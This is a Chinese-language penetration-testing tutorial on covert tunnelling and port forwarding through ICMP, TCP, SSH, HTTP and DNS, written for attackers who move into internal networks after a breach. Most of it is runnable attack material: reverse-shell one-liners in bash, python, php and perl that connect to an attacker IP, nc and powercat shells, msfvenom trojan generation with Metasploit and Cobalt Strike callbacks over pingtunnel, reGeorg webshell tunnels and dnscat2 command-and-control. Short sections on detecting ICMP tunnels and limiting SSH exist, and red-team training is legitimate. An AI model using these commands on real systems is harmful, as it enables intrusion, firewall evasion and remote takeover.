代理、转发及隧道隐藏

隐藏通信隧道概述

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。隧道,就是一种绕过端口屏蔽的通信方式。

常用的隧道:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道

  • 传输层:TCP隧道、UDP隧道、常规端口转发

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

判读内网的连通性

https://github.com/projectdiscovery/interactsh

https://app.interactsh.com/#/

判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、HTTPS、DNS、ICMP等)及端口通信的情况。常见的允许流量出网的端口有80、8080、443、53、110、123等。常用的内网连通性判断方法如下:

  • ICMP协议
执行命令"ping <IP地址或域名>"

ping ip/domain
tracert ip/domain
ping www.baidu.com	# ICMP
tracert baidu.com	# ICMP
  • TCP协议
使用netcat工具,执行"nc <IP地址 端口号>"
或者
telnet <IP地址 端口号>

telnet ip port
nc -zv ip port
nc -zuv ip port
telnet 192.168.1.108 22		# TCP
nc -zv 192.168.1.108 80		# TCP
nc -zuv 192.168.1.108 80	# UDP
  • HTTP协议

    Windows XP 和 Windows Server 2003没有Powershell、bitsadmin,certutil也不能用。

    • 可以写一个vbs下载者(https://www.jb51.net/article/50538.htm)到目标主机上,执行测试http是否出网。

    • 或者用 mshta(可能会弹框)。

    • 或者直接用浏览器命令 (会弹框)(免杀)

      start firefox/chrome/msedge http://192.168.1.1:19900/demo.rar
      

      image-20230221190320713

CURL下载:https://curl.se/download/
curl ip or domain
curl http://www.baidu.com	# HTTP
在使用curl时,需要执行"curl <ip地址:端口号>"命令。如果远程主机开启了相应的端口,会输出相应的端口信息;如果远程主机没有开通相应的端口,则没有任何提示。按"ctrl+c"键即可断开连接

or

certutil -urlcache -f -split http://xxx/


Linux: wget curl
Windows: certutil powershell bitsadmin regsrv....

image-20220330112926085

  • DNS协议

在进行DNS连通性检测时,常用的命令为nslookup和dig

nslookup是Windows操作系统自带的DNS探测命令。其用法如下:

nslookup www.baidu.com vps-ip    
#nslookup domain [dns-server]  如果没有指定dns服务器,就采用系统默认的dns服务器。

dig是Linux默认自带的DNS探测命令。其用法如下:

dig @vps-ip www.baidu.com
  • 还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下:

​ ①查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接(可以尝试运行“ping -n 1 -a ip”命令)

​ ②查看内网中 是否有主机名类似于"proxy"的机器

​ ③查看IE浏览器的直接代理

​ ④根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看

​ ⑤执行如下命令,利用curl工具进行确认

curl www.baidu.com             //不通
curl -x proxy-ip:port www.baidu.com     //通

网络层隧道技术

在网络层两个常用的隧道协议是IPv6和ICMP

IPv6隧道

  • IPv6隧道技术是指通过IPv4隧道传送IPv6数据报文的技术。

  • 现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要进行人工配置。

Image

  • 攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统

  • 支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。

  • 针对IPv6隧道攻击,最好的防御方法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。

ICMP隧道

ICMP是一个比较特殊的协议,在一般通信协议中,如果两台设备要进行通信,肯定要开放端口,而ICMP协议下就不需要。最常见的 ICMP 协议的消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问

常用的ICMP隧道工具有spp、icmpsh、PingTunnel、icmptunnel、powershell icmp等

spp

https://github.com/esrrhs/spp 比较新,好用(稳定+速度快)

  • 支持的协议:TCP、UDP、RUDP(可靠UDP)、RICMP(可靠ICMP)、RHTTP(可靠HTTP)、KCP、Quic
  • 支持类型:正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
  • 协议和类型可以自由组合
  • 外部代理协议和内部转发协议可以自由组合

使用很简单,参考GitHub主页的readme即可。

icmpsh

icmpsh可以跨平台,且不需要管理员权限

安装:

git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket #安装依赖

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答 : 因为icmpsh工具要代替系统本身的ping命令的应答程序
(结束后别忘了再开启。sysctl -w net.ipv4.icmp_echo_ignore_all=0  )

使用:

  • 服务器:

①输入"./run.sh"并运行,会提示输入目标的IP地址(目标主机的公网IP地址)。因为我们是在虚拟机中进行演示,输入"192.168.111.156",并回车,会自动给出需要在目标主机上运行的命令并开启监听。

②或者 输入 "python icmpsh_m.py 192.168.43.132(攻击者) 192.168.43.74(目标主机)"

Image

  • 目标主机

运行 icmpsh.exe -t 192.168.111.132(攻击者)-d 500 -b 30 -s 128

Image

即可在攻击机上看到shell:

Image

PingTunnel

PingTunnel也是一个常用的ICMP隧道工具,可以跨平台,在使用时可以给隧道设置密码,从而防止隧道被滥用。

  • 测试环境:

Image

攻击机可以访问web服务器,不能访问数据库服务器

web服务器无法直接访问数据库服务器,但可以通过ping命令访问数据库服务器

  • 测试目标:

利用工具使攻击机可以访问数据库服务器的3389

首先,在需要建立ICMP隧道的两台机器(攻击机、Web服务器)上安装PingTunnel工具,下载 http://freshmeat.sourceforge.net/projects/ptunnel/

然后输入如下命令,解压、配置、编译:

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz 
tar -xzvf PingTunnel-0.72.tar.gz 
cd PingTunnel 
make && make install

Image

如果报pcap.h缺失,,则需要安装libpcap(数据包捕获函数库),用于捕捉经过指定网络端口的数据包。在Windows平台上,类似的库叫做wincap。

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
tar -zxvf libpcap-1.9.0.tar.gz 
cd libpcap-1.9.0 
./configure

安装过程,如果提示yacc包错误:

Image

则输入如下命令,安装yacc

apt-get install -y byacc
然后依次输入
./configure
make
sudo make install

回到pingtunnel目录重新执行

make & make install

Image

安装完成

下面介绍PingTunnel工具的使用方法:

-x   指定ICMP隧道连接的验证密码
-lp  指定要监听的本地TCP端口
-da  指定要转发的目标机器的IP地址
-dp  指定要转发的目标机器的TCP端口
-p   指定ICMP隧道另一端的机器的IP地址

在Web服务器,运行pingtunnel,开启隧道

ptunnel -x haixian

Image

在攻击机上执行命令:

ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian

Image

这条命令的意思是,当访问攻击机192.168.1.4的1080端口时,会把数据库服务器192.168.1.2的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.1.5为ICMP隧道跳板进行传送。

接下来访问攻击机的1080端口便可以连接到数据库服务器192.168.1.2的远程桌面了(3389):

Image

Image

(PS :PingTunnel工具在Windows环境中也可以使用,只不过需要在内网的Windows机器上安装wincap类库)

仅ICMP出网pingtunnel上线msf&cs

0. 环境搭建

WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。

1. pingtunnel

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

2. vps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

image-20220918194937792

3. 客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

image-20220918194954804

客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显

image-20220918195005308

4. msf上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe

image-20220918195055245

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j

image-20220918195110605

把木马msf.exe从蚁剑上传到靶机,运行

image-20220918195120202

已上线msf

image-20220918195129735

5. CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

image-20220918195147295

客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显

image-20220918195156681

建立监听127.0.0.1:9999和x.x.x.x:7777

image-20220918195207533

对ICMP-127的监听生成木马cs.exe

image-20220918195219374

传到靶机运行

image-20220918195229956

CS监听上线

image-20220918195544046

ew+pingtunnel组合建立socks5隧道

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

https://github.com/idlefire/ew

pingtunnel

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel
1 vps-kali执行
./ew_for_linux64 -s rcsocks -l 10080 -e 8898

./pingtunnel -type server

将8898收到的请求转发至10080端口

060

061

2 WEB服务器执行pingtunnel
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1

62.jpg

063

3 WEB服务器执行ew
ew.exe -s rssocks -d 127.0.0.1 -e 9999

064

ew回显OK,隧道已打通!

065

4 连接代理

使用proxifier设置代理

066

远程桌面测试

067

远程桌面测试

068

069

070

防御ICMP隧道攻击的方法

wireshark抓包,进行ICMP数据包分析,检测恶意ICMP流量:

1、一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短时间内产生上千个ICMP数据包。

2、 注意payload大于64bit的ICMP数据包。

3、注意请求数据包payload和响应数据包中的payload不一样的ICMP数据包。

4、检测ICMP数据包的协议标签。例如,icmptunnel会在所有ICMP payload前面添加“TUNL”标记来标识隧道。

传输层隧道技术

传输层技术包括TCP隧道、UDP隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABLES打开指定端口。如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截

fuso端口转发

https://github.com/editso/fuso/releases/tag/v1.0.5-beta.7

测试一下:假设192.168.100.15是我们的攻击机,192.168.100.222是我们控制的DMZ区的服务器,192.168.100.179是内网不出网的一台服务器,我们想在攻击机连接它的3389端口。

image-20221027153622457

在192.168.100.15运行fus.exe,监听6722端口,等待客户端连接:

image-20221027154125345

在192.168.100.222运行fuc.exe:

fuc.exe --forward-host 要转发的ip --forward-port 要转发的端口 -b 映射成功后访问的端口 服务段ip 服务端监听的端口

image-20221027154447576

成功建立连接:

image-20221027154645845

image-20221027154810424

顺便一提:

也可以建立socks连接:

fus.exe:

fus.exe -p 6722 --enable-socks true

fuc.exe:

fuc --socks --su --s5p xxx --s5u xxx -b socks代理端口 服务端ip  服务端监听的端口

访问socks5://服务端ip:socks代理端口 即可

frp端口转发

实战中,需要增加身份认证,避免frp服务器被他人利用

https://gofrp.org/docs/features/common/authentication/

在 frpc 和 frps 的 [common] 段落中配置上相同的 token 参数即可

例如:

[common]
bind_port = 7000
token = test
[common]
server_addr = x.x.x.x
server_port = 7000
token = test

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

frp使用文档:https://gofrp.org/docs/overview/

这是只说一下tcp类型的端口转发。例如要ssh访问内网机器:

  1. 在具有公网 IP 的机器上部署 frps,修改 frps.ini 文件,这里使用了最简化的配置,设置了 frp 服务器用户接收客户端连接的端口:

    [common]
    bind_port = 7000
    
  2. 在需要被访问的内网机器上(SSH 服务通常监听在 22 端口)部署 frpc,修改 frpc.ini 文件,假设 frps 所在服务器的公网 IP 为 x.x.x.x:

    [ssh]这个标签可以随意换; 除了22端口,也可以是其他tcp端口,如ftp、mysql、mssql等,也这样这样转。 但是http服务不可以,需要加额外的配置,详细看使用文档。

    [common]
    server_addr = x.x.x.x
    server_port = 7000
    
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 6000
    

    local_iplocal_port 配置为本地需要暴露到公网的服务地址和端口。remote_port 表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。

  3. 分别启动 frps 和 frpc。

  4. 通过 SSH 访问内网机器,假设用户名为 test:

    ssh -oPort=6000 test@x.x.x.x

    frp 会将请求 x.x.x.x:6000 的流量转发到内网机器的 22 端口。

但是有时候会遇到下面这种情况:攻击内网不出网的机器,需要指定一个回连IP: 

image-20221027144534869

这时候我们就要将frpc运行在攻击机vps上,frps运行在中转机器上。

比如,我们需要不出网受害者回连到攻击机vps的445端口,那么可以这样写:

中转机器启动frps,配置文件:

[common]
bind_port = 7000

攻击机vps启动frpc,配置文件:

[common]
server_addr = 中转机器ip
server_port = 7000

[test_relay]
type = tcp
local_ip = 本机ip
local_port = 445
remote_port = 445

然后指定不出网受害者的去回连中转机器的445端口,这样即可转发到攻击机vps的445端口

lcx端口转发

lcx是一个基于Socket套接字实现的端口转发工具,一个正常的Socket隧道必须具备两端:客户端、服务端,服务端开启监听端口,客户端传入服务端的IP与端口,主动与服务端连接

  • 内网端口转发

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上

lcx.exe -slave VPS-ip 4444 127.0.0.1 3389

在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上

lcx.exe -listen 4444 5555

此时,用mstsc登录 VPS-ip:5555 即可访问目标服务器的3389端口

  • 本地端口转发

假如该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到53端口上。

在目标主机上执行如下命令,将3389端口的流量转发给53端口。只需要远程连接目标主机的53端口即可。

lcx -tran 53 <目标主机IP地址> 3389
  • LCX实现3389到内网主机(公网服务器是Windows)

现在我们有这么一个环境,我们获得了公网Windows服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网Linux主机的权限。拓扑图如下。现在我们想3389连接到内网Windows服务器。

img

于是,我们还可以利用lcx来进行3389端口的转发。

在公网windows服务器上的操作

lcx.exe -tran 3340 192.168.10.18 3389  #意思就是将本地的3340端口的流量转发给192.168.10.18主机的3389端口

img

于是,我们远程连接公网服务器100.100.10.14的3340端口

img

img

  • LCX实现3389到内网主机(公网服务器是Linux)

现在我们有这么一个环境,我们获得了公网Linux服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网Windows主机的权限。拓扑图如下。现在我们想3389连接到内网Windows服务器。

img

在公网Linux服务器上的操作

./lcx -m 2 -p1 23389 -h2 127.0.0.1 -p2 13389    #监听本地23389的流量转发给本地的13389端口,正向代理

img

在内网Windows服务器上的操作

lcx.exe -slave 192.168.10.20 13389 127.0.0.1 3389  #将本地3389端口的流量都转发给192.168.10.20,反向代理

img

远程连接公网服务器的23389端口即可

img

netcat

netcat从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)

  • 安装
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz
ca netcat-0.7.1
./configure
make
  • 简易使用

① banner抓取

nc -nv 192.168.111.157 80

②连接远程主机

nc -nvv 192.168.111.156 80

③端口扫描

nc -v 192.168.111.156 80
nc -v -z 192.168.111.156 20-100     (扫描速度很慢)

Image

④端口监听

监听本地端口,当访问该端口时会输出该信息到命令行
nc -l -p 9999

Image

⑤文件传输

在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入

nc -lp 333 > 1.txt

在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为test.txt的文本文件

nc -vn 192.168.1.4 333 < test.txt -q 1

传输完成,在VPS中打开1.txt文件,可以看到数据已经传送过来。

  • 获取shell

Shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端想要获取服务器的shell,就称为正向shell;如果客户端连接服务器,服务器想要获得客户端的shell,就称为反向shell。反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。

①正向shell:

目标主机:

nc -lvvp 8899 -e /bin/sh                                      #linux
nc -lvvp 8899 -e c:\windows\system32\cmd.exe                  #windows

攻击机:

nc <目标主机IP> 8899

Image

②反向shell

攻击机:

nc -lvvp 8889

目标主机:

nc <目标主机IP> 8899 -e /bin/sh     
nc <目标主机IP> 8899 -e c:\windows\system32\cmd.exe                  #windows
  • 在目标主机中没有nc时获取反向shell

攻击机均使用netcat进行监听:

nc -lvvp 4433

①python反向shell

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.131",4433));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

②bash反向shell

bash -i >& /dev/tcp/192.168.86.131/4433 0>&1

③PHP反向shell

php -r '$sock=fsockopen("192.168.86.131",4433);exec("/bin/sh -i <&3 >&3 2>&3");'

④Perl反向shell

perl -e 'use Socket;$i="192.168.86.131";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 内网代理

测试环境:攻击机可以访问到web服务器,但访问不到数据库服务器,web服务器可以访问攻击机,也可以访问数据库服务器,攻击机无法直接访问数据库服务器,通过前期渗透已经取得了web服务器的权限

Image

首先在攻击机上执行命令监听本机9999端口:

nc -lvvp 9999

Image

然后在数据库服务器中执行:

nc -lvp 9999 -e c:\windows\system32\cmd.exe

最后在web服务器(跳板机)中执行:

nc -v 192.168.1.4 9999 -c "nc -v 192.168.1.2 9999"

Image

可见在攻击机中收到了来自数据包库服务器的反弹shell:

Image

PowerCat

PowerCat可以说是netcat的powershell版本。它可以通过执行命令回到本地运行,也可以使用远程权限运行。

  • 下载PowerCat
git clone https://github.com/besimorhino/powercat.git

在powershell命令行环境中,要想使用powercat.ps1脚本,必须先进行导入操作

Import-Module .\powercat.ps1

Image

导入之后,输入"powercat -h" ,可以看到帮助信息

  • 通过nc正向连接PowerCat

在win10上执行监听命令"powercat -l -p 4455 -e cmd.exe -v" , -e指定要启动进程的名称

Image

在Linux上执行"nc 192.168.111.156 4455 -vv"

Image

  • 通过nc反向连接powercat

在Linux上执行

nc -lvvp 8888

在win10中使用-c参数用于提供想要链接的IP地址,具体命令如下:

powercat -c 192.168.111.157 -p 8888 -v -e cmd.exe
  • 通过powercat返回powershell

如果想返回powershell,则无法与nc进行交互。

下面使用win7(192.168.111.130)与win10(192.168.111.156)进行建立正向连接

win10开启监听 "powercat -l -p 4443 -v"

win7 执行如下命令,-ep参数用于返回powershell

powercat -c 192.168.111.156 -p 4443 -v -ep

Image

之后返回win10:

Image

  • 通过powercat传输文件

在win7中新建一个test.txt文件,将其放在C盘根目录。

在win10中执行如下命令

powercat -l -p 9999 -of test.txt -v

在win7中执行

powercat -c 192.168.111.156 -p 9999 -i c:\test.txt -v

-i : 输入,可以写文件名,也可以写字符串

-of : 输出文件名,可以在文件名前添加路径

即使文件传输完毕,连接也不会自动断开。在win7中,可以在文件末尾追加需要的内容,若不需要追加,可以按”ctrl+c"断开连接。

  • 用powercat生成payload

用powercat生成payload也有正向和反向之分,且可以对其进行编码。

在win10中执行如下命令

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到win7执行,然后在win10中执行如下命令,就可以获得一个反弹shell

powercat -c 192.168.111.130 -p 8000 -v

Image

Image

如果想反弹powershell,可以执行如下命令:

powercat -l -p 8000 -ep -v -g >> shell.ps1

用powercat也可以直接生成经过编码的payload:

在win10中执行如下命令,即可得到经过编码的payload

powercat -c 192.168.111.156 -p 8989 -ep -ge

Image

继续在win10中执行命令"powercat -l -p 8989 -v" ,并复制payload到win7中执行:

Image

Image

-g : 生成payload

-ge :生成经过编码的payload,可以直接使用"powershell -e <编码> " 命令。

  • PowerCat DNS隧道通信

PowerCat也是一套基于DNS通信的协议,基于dnscat设计(其服务端就是dnscat)。

安装dnscat:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle instal

然后,在安装了dnscat的Linux主机上执行如下命令:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

Image

执行以上命令后,在win7主机执行如下命令,就可以看到dnscat上反弹的shell了

powercat -c 192.168.111.157 -p 53 -dns ttpowercat.test -e cmd.exe

Image

Image

  • 将powercat作为跳板

测试环境为:三台主机,其中win10(192.168.111.156)可以通过ping命令访问win7(192.168.111.130)和kali(192.168.111.157),kali和win7之间无法通过网络连接。

测试目标为:将win10作为跳板,让kali连接win7

方法①:

首先,win7执行:

powercat -l -v -p 9999 -e cmd.exe

然后win10执行

powercat -l -v -p 8000 -r tcp:192.168.111.130:9999       
#-r 参数 用于在两个节点之间中继网络流量

最后让kali与win10连接,这样win10就可以将流量转发给win7主机了:

nc 192.168.111.156 8000 -vv

Image

Image

Image

方法②:

在这里也可以使用DNS协议

win10

powercat -l -p 8000 -r dns::192.168.111.157::ttpowercat.test

kali,启动dnscat

ruby dnscat2.rb ttpowercat.test -e open --no-cache

最后在win7中执行以下命令,就可以看到反弹shell了

powercat -c 192.168.111.156 -p 8000 -v -e cmd.exe

应用层隧道技术

应用层隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。

SSH协议

远程端口转发,如果想绑定到 0.0.0.0 ,需要修改攻击机ssh配置/etc/ssh/sshd_config,确保 GatewayPorts yes

SSH协议是被允许通过防火墙和边界设备的。SSH协议在传输过程中是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

ssh root@192.168.1.1
常用参数:
-C 压缩传输 
-f 后台执行SSH 
-N 建立静默连接 
-g 允许远程主机连接本地用于转发的端口 
-L 本地端口转发 
-R 远程端口转发 
-D 动态转发 
-P 指定SSH端口
  • 本地转发

测试环境:攻击机可以访问到web服务器,但访问不到数据库服务器,web服务器可以访问攻击机,也可以访问数据库服务器,攻击机无法直接访问数据库服务器,通过前期渗透已经取得了web服务器的权限

Image

测试目标:以Web服务器为跳板,访问数据库服务器的3389端口

首先在攻击机上执行:

ssh -CfNg -L 2021(VPS端口):192.168.1.2(目标主机):3389(目标端口) root@192.168.1.5(跳板机)

这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机

Image

会提示输入web服务器的密码,输入密码

由于我们选择的是静默模式,所以可以本地查看一下2021端口是否被监听来检查通道的建立是否正常

netstat -tulnp | grep "2021"

Image

可以看到2021端口正在被ssh服务监听,证明通道搭建成功

接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面

rdesktop 127.0.0.1:2021

Image

SSH进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口

  • 远程转发

实验环境:攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机

Image

实验目标:通过访问攻击机本机的7890端口来访问数据库服务器的3389端口

在web服务器(192.168.1.5)上执行

ssh -CfNg -R 7890(VPS端口):192.168.1.2(目标主机):3389(目标端口) root@192.168.1.4(VPS主机)

这条命令的意思是此时的web服务器虽然依旧是跳板,但是无论是连接数据库服务器的3389还是去连接攻击机的7890都是web服务器主动发起

Image

输入攻击机的密码

在攻击机访问本地7890端口

rdesktop 127.0.0.1:7890

Image

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

  • 动态转发

Image

在攻击机上执行

ssh -CfNg -D 6000 root@192.168.1.5

此条命令搭建了一个动态的SOCKS代理通道

输入web服务器密码后执行

netstat -untlp | grep ":6000"

查看连接情况

Image

可以看到,在使用动态映射时,本地主机的SSH进程正在监听6000端口。

动态端口映射就是建立一个SSH加密的SOCKS4/5代理通道。任何支持SOCKS/5协议的程序都可以使用这个加密通道进行代理访问。

在本地浏览器设置好SOCKS代理后可以访问到数据库服务器上开放的web服务

Image

Image

  • 防御SSH隧道攻击的思路

​ SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

​ 如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)

HTTP/HTTPS协议

HTTP Service代理用于将所有流量转发到内网。常见的代理工具有reGeorg、meterpreter、tunna等

reGeorg的主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本地。

reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

https://github.com/sensepost/reGeorg

该文件下支持php,ashx,asp,jsp,aspx

操作步骤:

根据服务器支持语言,选择脚本(如tunnel.jsp)上传到服务器端,访问显示“Georg says, 'All seems fine'”,表示脚本运行正常。

运行命令:

python2 reGeorgSocksProxy.py -p 9999 -u http://url:8080/tunnel/tunnel.jsp

运行reGeorg监听9999端口,程序卡在“Georg says, 'All seems fine'”表示正常运行。

Image

隧道正常工作之后,可以通过proxychains、proxifier等工具,访问目标内网中的资源。

DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰以及TCP、UDP通信大量被防御系统拦截的状况,DNS、 ICMP、HTTP/HTTPS等难以被禁用的协议以及成功攻击者控制隧道的组合渠道。

一方面,在网络世界中,DNS流量是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。越来越多的研究证明,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色

用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

域名型DNS隧道木马的通信架构

Image

这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.xxx.xxx(黑客故意构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。因为各大厂家为了不影响服务的运行,都不会将DNS服务屏蔽,因此这个方式是既隐秘又实用的方式。

在使用DNS隧道与外部进行通信时,从表面上看是没有连接外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。

  • 查看DNS的连通性

首先,需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是要测试DNS的连通性。

输入如下命令,查询当前内部域名及IP地址

cat /etc/resolv.conf|grep -v '#'

Image

输入如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

nslookup yokan.com

Image

输入如下命令,查询能否通过内部DNS服务器解析外部域名。可以看到,能够通过内部DNS服务器解析外部域名,这意味着可以使用DNS隧道实现隐蔽通信

nslookup baidu.com

Image

dnscat2

下载:https://github.com/iagox86/dnscat2

dnscat2使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用shell及DNS查询类型(TXT MX CNAME A AAAA),多个同时进行的会话类似于SSH中的隧道。严格来讲,dnscat2是命令与控制工具。

使用dnscat2隧道的模式有两种:

​ i 直连模式 :客户端直接向指定IP地址的DNS服务器发起DNS解析请求

​ ii 中继模式: DNS经过互联网的迭代解析,指向指定的DNS服务器。 速度较慢。

